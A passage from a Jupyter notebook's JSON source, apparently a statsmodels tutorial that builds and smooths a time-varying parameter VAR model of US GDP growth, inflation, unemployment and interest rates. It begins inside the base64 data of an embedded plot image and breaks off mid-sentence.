a0zn3gQ/5tNLOpeC17s4aG0vYjBnUvvQyKEX4/PnE53cQFllF+/IHaC0to620hJbCIqI3beK7zfXUfetv1NkCO98Oxtn5fOCA1roQQCn1AnAx4BncXQw8o81c42dKqVilVJrWuqLnw/WUHmtOHH6xbif7K0/wk2u+B+tfM5XKZnytx/HVed/k4L4/M76tEs78PpV1zbz0halss72stiu4Uwoufpi2R87k4fY/sD92tUk3bG/xXRY3dbq7qeBJJeWa0vVfPAmTVpo3KF9ylnflfbfUm1zzqDT/V2wd0Sa488UWambvXr8TyjZ2FXgZjDUpwQzswCz0vbfcb0rFRc7gLiM2jEU5A+hFOEjOmpzIfztnFn31Y9Ja8/N1O/nH3ip+eel07zWW4C5Y4aoA6UrL7M/M3amWmxKF1qZoSLTDTn1zu1eVzkkpkV7rCcGsO9xWdhwwlQ8DVX6sibYOPWJm7gAe+UcBZ09N5kerck9yj5NLiAxl/feXUH68ic8Lj/J5YQ1by45z17m5fV5nmekM9Mp6SZcsqj7BhMSIk6YGJkaGYFEm7UdrTWF1g1dxjPTYsJO2Y+js1JQea+KcvBSWTEkizG7lrZ2Hu/5WZl4FG/5A2/aXWRO+FxU/q9cqgiNGbBZUbOn6vrMTqg8MTaGYIdLXi4ur8lO5ftEEnvykiIU5Caz0cyHD5VNnixq/zbMHkVIq4Ebyg80+CGuUB11ksqlnMPcGU1ehD8VPhkpuahTJUaH8ePVUr+wiq0Vxbn4K67Ycormtg5qGVnZV1HH3eV3ZV0tzk7DaQngq9T6+xws0l37J2hMlrAVow+e57slYLIpfXjqdNQ99zLOfl7B2fpapvDtSzfqG6QF3knR8h93KhJlLUJufYsO+Cp5MKYGmKLO2MEjGxYdzdm4yz28s5XtnT+bNHRXsKK9zB88TEsJ5p0z3CO4AUn52H807dhJ19nJsSUmmBkjYBFja9XPtOVzHlQ98yK8Wp3B+6HGad+yEO39AXwXjDD0D8LzsWEbPWTlfx2QAPYI7pdTNwM0AWVnmapNrynP9zsOsmZnGsvwsyHrfzIT5OOlIiY3h7vZv87sZZaRPWsGT6/fS3tlJVKjNXezBLTyez2f/mkUfXkvqhhugerup3BSMBaXLf2KKvSy+q2/VqEKjBr6G5PRrTBXQ8YvMzONIWq/RS658fno05+Qlsyw3eViusTrTuaj2kwPVPoO7xz4odM/aXL2gZzpMlMNOUlSouwLkQGfuTiVX6smew/WEOa9Qe64vmZQUyRvbK2hu63Bfwd5YWEOnNumFnxYepbaxLaBUW8+CHcOd6yppTlIE/3HVaUEdvxmxYVw2O7NfH9gpUaHYLIry441+jyk+2khe2snbw9isFhIjQzlc10xNQyv1ze2mL5bH63x9W0WvM9tH6ptpbe8kKyEch93Kstwk3tp5hPsvmm4C1tTpVIRmc1HTO+Tqcsi+LeCfeViKzYLdr5mgzmIx66rbm8yaJNHDPedPZVNxDT97dQcrpib3ejHj04KjxITZmZYWvMrKYog4e2EOZ5GhNj6/d4XPi2Gr8lN5fmMpnxyodrfqWjG1K1AND7GxZEoSzxXUcvvdT/PdP33BgYZy3lkbT2hzpemT1w9TU6P559W5fFZYw8/7MNs9rM28wvzrA8eE+bD5//HNiQ3Mb94DWWcEfT3mNQvH895Tm1i39RAPvrePvLRo90XNZbnJvLDpIDo0DFXvHeqE5ecTlu9RFPB4KaR5FzZ7fVsFFotixdKZREeFEr1yZUDBXTCS0H29s3avD9qXY8xGrR/XWs/VWs9NSjJXbNOcM3dRDlvX4IxK9d04EzPT92lnPhum/Ji6lnae/ewg581IY0F2gnu2wNOmjlwe7PgajurtkJQHi+7w+bgBi0iEix4KavWrk7KFwMUPm7WCIymwOwmlFE9cN++ka9qGSmJkKHlp0Xy0v2e/u3VbD/Hr9Xu4cFY6P+5l1iY7MYJCj5m7EJvFXWlwOBufEIHDbmHv4XpTTMVq8Ur7mJQcidbeTdo3FBwl1Gbh5iXZaA2bS2oCek7XDGdADcyHSHxECA9edRrP3LjAXYRnOLBZLaTGOPzO3LV1dFJS09jn33FqjIMjdS1d/Qe7pWW2d2oq65v93d3dBiHLOaO4enoqVfUtfFVqZvw2FFTz1IkFTLMcROn2kb/eziV2HHS2mWITAFXOFKKkgc/wjkahNis3L8mmorb5pLPBnxYe5Yzswa8aLISLvyyHRTmJRDlsrN9xmPd2HyErPrxHZeZV+alU1Dbz4hel/O+eSq44M5/QyUvMrN0AApObl+Tw5PXzhjQ9+JTLmAPAL/LKcRzbNyjrNJdMTmJ8Qjg//ft2SmuauPu8qe73mqW5STS3aZodST1m7ry0NkBjtVlP6KS15n+2VbAwJ8G72GIAghHclQGeeX+ZwKF+HONXYkQoiycn8stLZ5AcdfIiEe71H7VNPPtZCfUt7dy6NIeZmTEUVjdQ363n1oGqE7wes9ZUgrzi6a7S/0IEYPHkRDYfPEZja1dFrI/3V/PDF7cyf0I8v71iZq8nGdlJEV4zd/HhISOiUp7VopicHMXew/VsL69lalqUVznxya5G3lVd6+42FFQzb0I8CyYmYLcqNhYFlppZVN1AVKit343AT7WLT8twr3EbTjLjwvxWsSw71kRHp+5zr8TkKAdH6pp9Bt6uVLDe1t252iCMjzf3Wz41GbtV8dbOIzS3dXDvK9v5MnqF6fVkDYWshX4fa0Rxt0NwJre4gjuZufNrRV4KITYL/7PN/8qO0ppGyo41sXAIUjKF6C7EZuGcvBTe3nWETwqOsiIvucfn+zl5JjPpvld3EhFi5dqFE4bmxY4GcRNMg/rPHzffj/dRG2OALBbFNxeMp7mtkzMnJbBkcteSoTMmJhBis1BJXO/BXa2zGXps17rgXRV1FFU3nLztS2+vrd/37LIJmKyUmqiUCgGuAtZ1O2YdcK0yzgBq+7reDswv8M83LvDZA8cXh91KfEQIxUcb+a+Pi1g8OZHpGTHMyIxBa9h5qM7r+ILKBiYmR8PiO70rUAoRgLMmJdLWodlYZGahNh88xref+YLspAgev3ZO79XdgOzESI41tnGsoZWahjb3QuuRwFTMrGNHeW2Pkt8TEyOwKDhwxFTUrD7Rwp7D9SzMSSAsxMr0jBi+KA585i476eRrwUTvMmLD/c7cuZvEn6SBuUtqTKg7uLNZlLvhL0CmR/EWf0prGrFalDtTI9phZ1FOIut3HOah9/ZTfLSRH1y+HDV1DUxe2bNA1UjVvZF59V5TQXM0rCccJJGhNpbnJvHG9go6O303Enatt1s4DNdoi7FpVX4qtU1ttLZ3ck5ez/WiseEhnJEdT2t7J1efMX7IqoKPCkqZ2buGSrA5Bq1gzJXzxrE6P9Xd9sIlLMTKGdkJFDRHmWqZ/rgu6nnM3LneuzzTdgM14OBOa90O3A68BewGXtRa71RK3aKUusV52BtAIXAA+E/guwN93pNJjXawbsshqk+0cOtSs37OVeRhe1nXuruOTk1RtSkPLsRAzJsQT4jVwsf7q9l1qI4bntpISnQoz9w4v0+VyVwn0YXVDRxrbO1Xj7uhMjU1iuoTrdR1K6YCJo0qKz7cPXPneuNyrVOcNyGebWW1vfZb666wqmFEpGQOd5lxYe61bt0VOP+/+vremBLl4FhjG3sP15MVH+5Vej7DGeiV9zZzd7SR9FiHVyPZ1dNTKalp5NEPCrh8dqYZM1c+A1f+uU+vaURwfai72iFU7ZWUzD5YMzOdyvoWvjjoe9b/08KjJESEMCVFPtvF8LB0ShIOu4WoUFtXYb9uLp+dSbTD5rsnsAhMxlzzNXPeoGXkxYTZeeyaOd4VSJ2WTUmisDmKzvoK7/7TnmqdF/U8Ch9uL68lNdoxoHZWQWn8orV+Q2s9RWudo7X+pXPbY1rrx5y3tdb6Nuf+GVrrL4LxvL1Ji3HQ2tHJrMwYd3PCxMhQMmLD2OZRVKXsWCOtHZ0S3IkBCwuxMndCHOt3HubaJz8nItTGX25a0KdUYuhqX1BYdYJjDa0jolKmi2dT1+7BHZh1d652CBsKjhLl0VR43oR4Wjs62VbmXeyos1Pzi3U72dRtVq+5rYNDtU0jopjKcJcZF4bWpmR8dwWVDSRGhvS5ZHpKjBnnG4tregTe4SE24sLtvaZlltQ0ulMyXVZOS0EpUzX2p2vyzEaL1W9blxEpJNz0Nz1eYk4AqvZJSmYfrJiaTKjNwuvbeq7w0FrzacFRzshJkNl9MWyEhVi5eXE2Ny3O9lq64OnS0zP48r6V7uVFYgAyzbq7oeqLuDQ3iSM6Dktbo6mG78vxUtOc3dXwHBPcDaQPLgQpuBuOUp0nGrcuy/F6c5+REcN2j6Iq7qvTyTILIAburMmJlB1rQmv4y00LyIwLP/mdnDLjwrBZFIXVDdQ0to6ISpkuruCuezEVl0nJURRVN9De0cmGgmoWZCe4Z3bmjje9e7oHcW/vOszTG4p56L39XtuLjzagNUzsY7qg8M81o+YrXbKg6kRA/RJdJyPdK2W6pMf6X98HJrjz7MMH5oLcT9dM4w9rTx9RacoBixlnet2dOAIttZAkywNOJiLUxtlTk3ljx2E6uqVmFlU3cLiuWdbbiWHnznNzueMc/03tlVJeWQ9iALIWQv6lMPPrQ/L02YkRdEQ4Uyv9rburLYXoDHfBnBMt7RRVN/i8SB6IUTuCVuWnctnpGaycluq1fUZmDMVHG6ltNEVVXLMJMnMnguGiWeksy03imRvnBzym7FYLWQnh7D9ygtqmthE1c5cUGUp8RAi5qVE+r0hOSo6krUPzaeFRDh5tZFFO10lXXEQIk5MjvYI7rTUPvncAMO0lPKssFlX1rMYo+mec8+KDr6CroOpEQGM41eNKs6+U2YzYML9pmfXNbdQ0tDI+oefFkBvPmuhO4R21YrPMzF3VHvP9GGlgPlBrZqZRVd/S473jd+/sw2pRLOnWT1QIMYaERJgiicFobdYPSikyx2UD0Frrp4bk8VKvYio7y2vR2ncGVCBGbXC3ZEoSv/96z55SM51TnTsOmRSwQFOPhOhNZlw4T98wn/z0/v1hZidGsqX0GFqPjB53Lkopbls+iZsW+14n4Cr5/KcNZl1R95P1eRPj2Vx8zH0F/t3dleyuqOPWZTl0avifrV0Lkl3tInzNDonApMY4sCiTnu6ppqGVY41t5AQwO5oS3VWy2VfgneGszKl9rD0oqfFugzDmxGaZD3l3pUxZc9cXZ09NxmG38LpH1cy/fF7C69squOvcKWT5uFgghBCnSt4Uc6GuqLDA9wG1pV7FVFy9uLsXpgvUqA3u/HFFw671PYGmHgkxmHKSIqg+YRqYj7Q0tBvPmsjFzgae3bmCu/f2HCExsmeRg3kT4qhvaWfv4XrnrN0+suLDuWvlFPLTo3l1S7n72KLqBpKjQokMtQ3eDzNG2K0WUqN79rpzZTR078PUm5gwO6HOWVtfgXdGbBgNrR3UNbX32FcqwR10tEDRhxAabfq4ipMKD7GxYmoKb+6ooKNTs6O8ln99bRdLpyRxy5KhuVovhBAus6aZFPvSEh/BXUebqaTZrZhKWoyj3/3tXMZccBcbHkJWfDjby48DgaceCTGYPNPZ4kfRbHJkqI20GAdam9Lk3YscuCqHbSqu4R97K9lRXsftyydhs1q45LQMtpbVuvunFVVLpcxgyowLp6xbumSglTLBzN6mRDtw2C1eKZourj5/Zccbe+w76GpgPlZnWly97go/MJUypQhIn62ZmUb1iVbe232E25/7krgIO7+/cpY0LhdCDLnwqDiaVRiV5cW0tHerCF5XDrqzx8zdQGftYAwGd2DW3W0rq+1X6pEQg8lzFjluBLVC6AvXLJDnejuXjNgw0mIcbCyu4cH3DpAZF8als80s4IWz0lEK/v6Vmb1z9bgTwZHho5F5QeUJQm2WgBuvp8Y4mJAQ4fPE2t0Owcf6vpKaRuLC7UQ7RteY7zPXldvWeknJDNDy3GTC7Fb+6YWvKKlp5A9rZ5MQObCr3kIIESydUWnEtVfy5vZuRVWOe7dBqG9uC0oxFRijwd3MjBjKjjW5F2HnBJB6JMRg8gxaRtKau75wBXdn+mgqrJRi3oR43t55mK2lx7lt+SR3v7PUGAcLsxN4dUs5xxtbqWloJVvaIARNZlwYh+uaae/o6nXnSlcPdPbjvjXT+LfLZvjclx7rv9ddSU3j2E3JBK8rt1JMJTBhIVZW5CXT3NbJXefmMn+iNH8XQgwfYZkzOc12kGc+Lfbe0a2B+c5DdUEppgJjNLhz9Y9wzQRMkrRMMUwkRIQQ7TBryUZStcy+uHrBeH66Jo9x8b5ng+ZNiKOtQ5Me4+Dy2Zle+y45LYPio43uv1lJywyezLgwOjo1FbVdFUkLqhr6ldEwIzOG2VlxPvclRITgsFt89rrz1QZhTAmNhHDnjLa0QQjYP62YzI9W5XLrUllnJ4QYXlTGHNJ0JQdLDrLds59vrSu4M+c7O4JUTAXGaHDn+sW9t6eyX6lHQgwWpRQTkyIJD7HisFuH+uUE1aTkSG5anO23qfCiSYkoBbefPblHO4XVM1IJsVn44/tmUbL0uAuejFgTVLmKqjS3dVB6rDHoa5GVUqbXXbfgrr2jk/JjTT7bIIwprnLY0sA8YFNSorht+SRZZyeEGH4yTDP1efZi79m746UQmQo2k0YerGIqMEaDu2iHnezECFrbO/uVeiTEYJqRET0mU9RykiL56MfLWTt/XI990Q475+QlU1nfgtWi3P3ZxMBlxnmnS7qaxA9GunqGj0bmFbXNtHfqMTnmvcRmgc3h1fNICCHECJc2C5SFK9IrWbf1EMcaTEV0akt6VMoMxqwdjNHgDrpSM6WYihhu7j0/j2dvWjDUL2NIZMaF+53Zc7VZGBcX5rNRuuiftFgHyqPXnbsNwiCkq5tG5s1e27p63I3x9+J5N8HK+8EyumbshRBiTAuNhKSpLAgppqW9kxe/cKZjejQwr29uo7AqOMVUYCwHdxmu4E7W24nhJTzEJtXefFiWm0RMmF36UgZZqM1KclSoe0atoLIBpQZnXWNGbBjVJ1poau0qCT3m2yC4TFwCC74z1K9CCCFEsGXMJrJ6K/MnxPHnzw7S0dFhWiF4FFOBromngRqzwd1p42IBk6svhBj+Qm1Wnrx+HveenzfUL2XUyYwLd6+5K6g6QUZsGGEhwZ9BmuvsZ/i7t/e6t5XUNBJi9d0bTwghhBjxMuZAUw23zLJRdqyJDVt3QkerOy3TVUxFZu4GaM74OJ66YR6r8lOG+qUIIfpozvg4d0sFETwZsWHu5uIFVScGLaNhYU4C1y4czxMfF/G/e44AUFLTQGZcGFZZ+yyEEGI0Sp8NwJKIElKiQ3n9o41me4xJy3QVU0kMUtbWmA3ulFIsz03GZh2zvwIhhABMUZWK46bXXWFVw6Cmq997fh55adHc9eJWDtc2mx53Yz0lUwghxOiVkg/WUGwVX/HPq6fSUFkEQGN4OgDby4JXTAXGcHAnhBDCyIwLp71Ts6X0OE1tHeQkD15xE4fdysPfOJ2W9k7ueOErDh4d4w3MhRBCjG5Wu6maWb6Zy2Zn8p2Zpp/xTX8/zKHjTRRWNzBTgjshhBDBkuFsh/DBvipgcCplespJiuT+i6fzeVEN9c3tEtwJIYQY3TLmwKEt0NHO9Ig6WkNi2FTRysWPfALA9CAVUwEJ7oQQYszL7BbcDUaPu+6+NieTy0437S0kuBNCCDGqZcyG9iao2gPHSwmJH89/XjuXuqY2IHjFVABsQXskIYQQI1JGrAnutpfXEhNmJyEi5JQ8779eMp38jBiWTEk6Jc8nhBBCDImMOeZr+WaoLYWESSzLTeb5m89gZ3lt0IqpgAR3Qggx5jnsVhIjQ6k+0UJOUoTfRvLBFhFq48azJp6S5xJCCCGGTHw2OGKg/AvTwDx7OQCzs+KYnRUX1KeStEwhhBDu1MzBrJQphBBCjElKmZYIB/4X2hrcPe4GgwR3Qggh3EVVTsV6OyGEEGLMyZgDdWXmdmzWoD2NBHdCCCFk5k4IIYQYTK51dwAxMnMnhBBiEE1IML3tpqRIcCeEEEIEXcbsrtuDOHMnBVWEEEJw6ekZZMWHMz5h8BqYCyGEEGNWVCpEZ0DTcQgLbhEVTxLcCSGEwGG3cuakxKF+GUIIIcToNXEJHC0wBVYGyYCCO6XUb4ALgVagALhBa33cx3HFQD3QAbRrrecO5HmFEEIIIYQQYkS54AHoaBvUpxjomrt3gOla65nAPuCeXo5drrU+TQI7IYQQQgghxJhjDwNH9KA+xYCCO63121rrdue3nwGZA39JQgghhBBCCCECFcxqmd8C3vSzTwNvK6U2K6VuDuJzCiGEEEIIIYSgD2vulFLvAqk+dv1Ea/2q85ifAO3As34e5kyt9SGlVDLwjlJqj9b6Qz/PdzNwM0BW1uCVCRVCCCGEEEKI0eSkwZ3W+pze9iulrgMuAFZorbWfxzjk/FqplPobMB/wGdxprR8HHgeYO3euz8cTQgghhBBCCOFtQGmZSqnVwD8DF2mtG/0cE6GUinLdBs4FdgzkeYUQQgghhBBCeBvomruHgShMquUWpdRjAEqpdKXUG85jUoCPlVJbgY3A61rr9QN8XiGEEEIIIYQQHgbU505rPcnP9kPA+c7bhcCsgTyPEEIIIYQQQojeBbNaphBCCCGEEEKIISLBnRBCCCGEEEKMAhLcCSGEEEIIIcQooPx0LxgWlFJVwMGhfh0jVAxQO9QvYpRIBKqH+kWMEjIug0vGZvDI2AweGZfBI+MyuGRsBo+MzeDpy7gcr7VO6suDDevgTvSfUupxrfXNQ/06RgOl1Bda67lD/TpGAxmXwSVjM3hkbAaPjMvgkXEZXDI2g0fGZvAEe1xKWubo9dpQvwAhfJBxKYYrGZtiOJJxKYYrGZvDlAR3o5TWWv7oxLAj41IMVzI2xXAk41IMVzI2hy8J7oQ4uceH+gUI4YeMTTEcybgUw5WMTTEcBXVcypo7IYQQQgghhBgFZOZOCCGEEEIIIUYBCe7EmKOUelIpVamU2uGxbZZS6lOl1Hal1GtKqWiPfTOd+3Y69zuc27+ulNrm3P7vQ/GziNElkLGplLpaKbXF41+nUuo05z4ZmyJoAhyXdqXUn5zbdyul7vG4j4xLEVQBjs0QpdRTzu1blVLLPO4jY1MEjVJqnFLqH873wJ1KqTuc2+OVUu8opfY7v8Z53OcepdQBpdRepdQqj+0Bj00J7sRY9DSwutu2J4C7tdYzgL8BPwJQStmAvwC3aK3zgWVAm1IqAfgNsMK5PUUpteLUvHwxij1NH8em1vpZrfVpWuvTgGuAYq31FhmbYhA8TR/HJXAFEOrcPgf4jlJqgoxLMUiepu9j89sAzu0rgd8ppSwyNsUgaAfu0lrnAWcAtymlpgF3A+9prScD7zm/x7nvKiAfM57/qJSy9ndsSnAnxhyt9YdATbfNucCHztvvAJc7b58LbNNab3Xe96jWugPIBvZpraucx73rcR8h+iXAselpLfC887aMTRFUAY5LDUQ4L4yFAa1AHTIuxSAIcGxOw5xQo7WuBI4Dc5GxKYJMa12htf7Sebse2A1kABcDf3Ie9ifgEufti4EXtNYtWusi4AAwn36OTQnuhDB2ABc5b18BjHPengJopdRbSqkvlVI/dm4/AEx1XpG2Yf5AxyFE8Pkbm56+TldwJ2NTnAr+xuVLQANQAZQAv9Va1yDjUpw6/sbmVuBipZRNKTURM7M8DhmbYhAppSYApwOfAyla6wowASCQ7DwsAyj1uFuZc1u/xqYEd0IY38JMm28GojBXmwFswFnA1c6vlyqlVmitjwG3An8FPgKKMdPwQgSbv7EJgFJqAdCotd4BIGNTnCL+xuV8oANIByYCdymlsmVcilPI39h8EnPS/AXwH8AGoF3GphgsSqlI4GXg+1rrut4O9bFN93ds2gJ/qUKMPlrrPZgUTJRSU4A1zl1lwAda62rnvjeA2Zic6deA15zbb8ac0AgRVL2MTZer6Jq1c91HxqYYVL2My28A67XWbUClUuoTTOpboYxLcSr4G5ta63bgB67jlFIbgP3OfTI2RVAppeyYwO5ZrfUrzs1HlFJpWusKpVQaUOncXob3jFwmcAj6NzZl5k4IQCmV7PxqAX4KPObc9RYwUykV7pwSXwrs6nafOOC7mEXcQgRVL2PTte0K4AU/95GxKQZFL+OyBDhbGRGYYgJ7ut1HxqUYNP7GpvNzPMJ5eyVm1k4+z0XQKaUU8F/Abq317z12rQOuc96+DnjVY/tVSqlQZ8rwZGCj87ECHpsycyfGHKXU85iql4lKqTLg50CkUuo25yGvAE+BSXFTSv0e2IQpFPCG1vp153EPKqVmOW/fr7Xed6p+BjE6BTI2nZYAZVrrwm4PJWNTBE2A4/IR5+0dmFSjp7TW25z7ZFyKoApwbCYDbymlOoFyTJVhFxmbIpjOxIyv7UqpLc5t9wK/Al5USt2IuRB2BYDWeqdS6kXM5EE7cJuzeB/0Y2wqrXXQfhIhhBBCCCGEEEND0jKFEEIIIYQQYhSQ4E4IIYQQQgghRgEJ7oQQQgghhBBiFJDgTgghhBBCCCFGAQnuhBBCCCGEEGIUkOBOCCGEEEIIIUYBCe6EEEIIIYQQYhSQ4E4IIYQQQgghRoH/D+2291uQh5e4AAAAAElFTkSuQmCC\n", "text/plain": [ "<Figure size 1080x360 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Subset to the four variables of interest\n", "y = dta[['realgdp', 'cpi', 'unemp', 'tbilrate']].copy()\n", "y.columns = ['gdp', 'inf', 'unemp', 'int']\n", "\n", "# Convert to real GDP growth and CPI inflation rates\n", "y[['gdp', 'inf']] = np.log(y[['gdp', 'inf']]).diff() * 100\n", "y = y.iloc[1:]\n", "\n", "fig, ax = plt.subplots(figsize=(15, 5))\n", "y.plot(ax=ax)\n", "ax.set_title('Evolution of macroeconomic variables included in TVP-VAR exercise');" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### TVP-VAR model\n", "\n", "**Note**: this section is based on Chan and Jeliazkov (2009) section 3.1, which can be consulted for additional details.\n", "\n", "The usual (time-invariant) VAR(1) model is typically written:\n", "\n", "$$\n", "\\begin{aligned}\n", "y_t & = \\mu + \\Phi y_{t-1} + \\varepsilon_t, \\qquad \\varepsilon_t \\sim N(0, H)\n", "\\end{aligned}\n", "$$\n", "\n", "where $y_t$ is a $p \\times 1$ vector of variables observed at time $t$ and $H$ is a covariance matrix.\n", "\n", "The TVP-VAR(1) model generalizes this to allow the coefficients to vary over time according. Stacking all the parameters into a vector according to $\\alpha_t = \\text{vec}([\\mu_t : \\Phi_t])$, where $\\text{vec}$ denotes the operation that stacks columns of a matrix into a vector, we model their evolution over time according to:\n", "\n", "$$\\alpha_{i,t+1} = \\alpha_{i, t} + \\eta_{i,t}, \\qquad \\eta_{i, t} \\sim N(0, \\sigma_i^2)$$\n", "\n", "In other words, each parameter evolves independently according to a random walk.\n", "\n", "Note that there are $p$ coefficients in $\\mu_t$ and $p^2$ coefficients in $\\Phi_t$, so the full state vector $\\alpha$ is shaped $p * (p + 1) \\times 1$." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Putting the TVP-VAR(1) model into state-space form is relatively straightforward, and in fact we just have to re-write the observation equation into SUR form:\n", "\n", "$$\n", "\\begin{aligned}\n", "y_t & = Z_t \\alpha_t + \\varepsilon_t, \\qquad \\varepsilon_t \\sim N(0, H) \\\\\n", "\\alpha_{t+1} & = \\alpha_t + \\eta_t, \\qquad \\eta_t \\sim N(0, \\text{diag}(\\{\\sigma_i^2\\}))\n", "\\end{aligned}\n", "$$\n", "\n", "where\n", "\n", "$$\n", "Z_t = \\begin{bmatrix}\n", "1 & y_{t-1}' & 0 & \\dots & & 0 \\\\\n", "0 & 0 & 1 & y_{t-1}' & & 0 \\\\\n", "\\vdots & & & \\ddots & \\ddots & \\vdots \\\\\n", "0 & 0 & 0 & 0 & 1 & y_{t-1}' \\\\\n", "\\end{bmatrix}\n", "$$\n", "\n", "As long as $H$ is full rank and each of the variances $\\sigma_i^2$ is non-zero, the model satisfies the requirements of the CFA simulation smoother.\n", "\n", "We also need to specify the initialization / prior for the initial state, $\\alpha_1$. Here we will follow Chan and Jeliazkov (2009) in using $\\alpha_1 \\sim N(0, 5 I)$, although we could also model it as diffuse." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Aside from the time-varying coefficients $\\alpha_t$, the other parameters that we will need to estimate are terms in the covariance matrix $H$ and the random walk variances $\\sigma_i^2$." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### TVP-VAR model in Statsmodels\n", "\n", "Constructing this model programatically in Statsmodels is also relatively straightforward, since there are basically four steps:\n", "\n", "1. Create a new `TVPVAR` class as a subclass of `sm.tsa.statespace.MLEModel`\n", "2. Fill in the fixed values of the state space system matrices\n", "3. Specify the initialization of $\\alpha_1$\n", "4. Create a method for updating the state space system matrices with new values of the covariance matrix $H$ and the random walk variances $\\sigma_i^2$.\n", "\n", "To do this, first note that the general state space representation used by Statsmodels is:\n", "\n", "$$\n", "\\begin{aligned}\n", "y_t & = d_t + Z_t \\alpha_t + \\varepsilon_t, \\qquad \\varepsilon_t \\sim N(0, H_t) \\\\\n", "\\alpha_{t+1} & = c_t + T_t \\alpha_t + R_t \\eta_t, \\qquad \\eta_t \\sim N(0, Q_t) \\\\\n", "\\end{aligned}\n", "$$\n", "\n", "Then the TVP-VAR(1) model implies the following specializations:\n", "\n", "- The intercept terms are zero, i.e. $c_t = d_t = 0$\n", "- The design matrix $Z_t$ is time-varying but its values are fixed as described above (i.e. its values contain ones and lags of $y_t$)\n", "- The observation covariance matrix is not time-varying, i.e. $H_t = H_{t+1} = H$\n", "- The transition matrix is not time-varying and is equal to the identity matrix, i.e. $T_t = T_{t+1} = I$\n", "- The selection matrix $R_t$ is not time-varying and is also equal to the identity matrix, i.e. $R_t = R_{t+1} = I$\n", "- The state covariance matrix $Q_t$ is not time-varying and is diagonal, i.e. $Q_t = Q_{t+1} = \\text{diag}(\\{\\sigma_i^2\\})$" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:38.952750Z", "iopub.status.busy": "2021-02-02T06:51:38.943765Z", "iopub.status.idle": "2021-02-02T06:51:38.957626Z", "shell.execute_reply": "2021-02-02T06:51:38.958549Z" } }, "outputs": [], "source": [ "# 1. Create a new TVPVAR class as a subclass of sm.tsa.statespace.MLEModel\n", "class TVPVAR(sm.tsa.statespace.MLEModel):\n", " # Steps 2-3 are best done in the class \"constructor\", i.e. the __init__ method\n", " def __init__(self, y):\n", " # Create a matrix with [y_t' : y_{t-1}'] for t = 2, ..., T\n", " augmented = sm.tsa.lagmat(y, 1, trim='both', original='in', use_pandas=True)\n", " # Separate into y_t and z_t = [1 : y_{t-1}']\n", " p = y.shape[1]\n", " y_t = augmented.iloc[:, :p]\n", " z_t = sm.add_constant(augmented.iloc[:, p:])\n", "\n", " # Recall that the length of the state vector is p * (p + 1)\n", " k_states = p * (p + 1)\n", " super().__init__(y_t, exog=z_t, k_states=k_states)\n", "\n", " # Note that the state space system matrices default to contain zeros,\n", " # so we don't need to explicitly set c_t = d_t = 0.\n", "\n", " # Construct the design matrix Z_t\n", " # Notes:\n", " # -> self.k_endog = p is the dimension of the observed vector\n", " # -> self.k_states = p * (p + 1) is the dimension of the observed vector\n", " # -> self.nobs = T is the number of observations in y_t\n", " self['design'] = np.zeros((self.k_endog, self.k_states, self.nobs))\n", " for i in range(self.k_endog):\n", " start = i * (self.k_endog + 1)\n", " end = start + self.k_endog + 1\n", " self['design', i, start:end, :] = z_t.T\n", "\n", " # Construct the transition matrix T = I\n", " self['transition'] = np.eye(k_states)\n", "\n", " # Construct the selection matrix R = I\n", " self['selection'] = np.eye(k_states)\n", "\n", " # Step 3: Initialize the state vector as alpha_1 ~ N(0, 5I)\n", " self.ssm.initialize('known', stationary_cov=5 * np.eye(self.k_states))\n", "\n", " # Step 4. Create a method that we can call to update H and Q\n", " def update_variances(self, obs_cov, state_cov_diag):\n", " self['obs_cov'] = obs_cov\n", " self['state_cov'] = np.diag(state_cov_diag)\n", "\n", " # Finally, it can be convenient to define human-readable names for\n", " # each element of the state vector. These will be available in output\n", " @property\n", " def state_names(self):\n", " state_names = np.empty((self.k_endog, self.k_endog + 1), dtype=object)\n", " for i in range(self.k_endog):\n", " endog_name = self.endog_names[i]\n", " state_names[i] = (\n", " ['intercept.%s' % endog_name] +\n", " ['L1.%s->%s' % (other_name, endog_name) for other_name in self.endog_names])\n", " return state_names.ravel().tolist()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The above class defined the state space model for any given dataset. Now we need to create a specific instance of it with the dataset that we created earlier containing real GDP growth, inflation, unemployment, and interest rates." ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:38.968075Z", "iopub.status.busy": "2021-02-02T06:51:38.966563Z", "iopub.status.idle": "2021-02-02T06:51:38.973441Z", "shell.execute_reply": "2021-02-02T06:51:38.974270Z" } }, "outputs": [], "source": [ "# Create an instance of our TVPVAR class with our observed dataset y\n", "mod = TVPVAR(y)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Preliminary investigation with ad-hoc parameters in H, Q" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In our analysis below, we will need to begin our MCMC iterations with some initial parameterization. Following Chan and Jeliazkov (2009) we will set $H$ to be the sample covariance matrix of our dataset, and we will set $\\sigma_i^2 = 0.01$ for each $i$.\n", "\n", "Before discussing the MCMC scheme that will allow us to make inferences about the model, first we can consider the output of the model when simply plugging in these initial parameters. To fill in these parameters, we use the `update_variances` method that we defined earlier and then perform Kalman filtering and smoothing conditional on those parameters.\n", "\n", "**Warning: This exercise is just by way of explanation - we must wait for the output of the MCMC exercise to study the actual implications of the model in a meaningful way**. " ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:38.980243Z", "iopub.status.busy": "2021-02-02T06:51:38.979106Z", "iopub.status.idle": "2021-02-02T06:51:39.016048Z", "shell.execute_reply": "2021-02-02T06:51:39.016953Z" } }, "outputs": [], "source": [ "initial_obs_cov = np.cov(y.T)\n", "initial_state_cov_diag = [0.01] * mod.k_states\n", "\n", "# Update H and Q\n", "mod.update_variances(initial_obs_cov, initial_state_cov_diag)\n", "\n", "# Perform Kalman filtering and smoothing\n", "# (the [] is just an empty list that in some models might contain\n", "# additional parameters. Here, we don't have any additional parameters\n", "# so we just pass an empty list)\n", "initial_res = mod.smooth([])" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The `initial_res` variable contains the output of Kalman filtering and smoothing, conditional on those initial parameters. In particular, we may be interested in the \"smoothed states\", which are $E[\\alpha_t \\mid y^t, H, 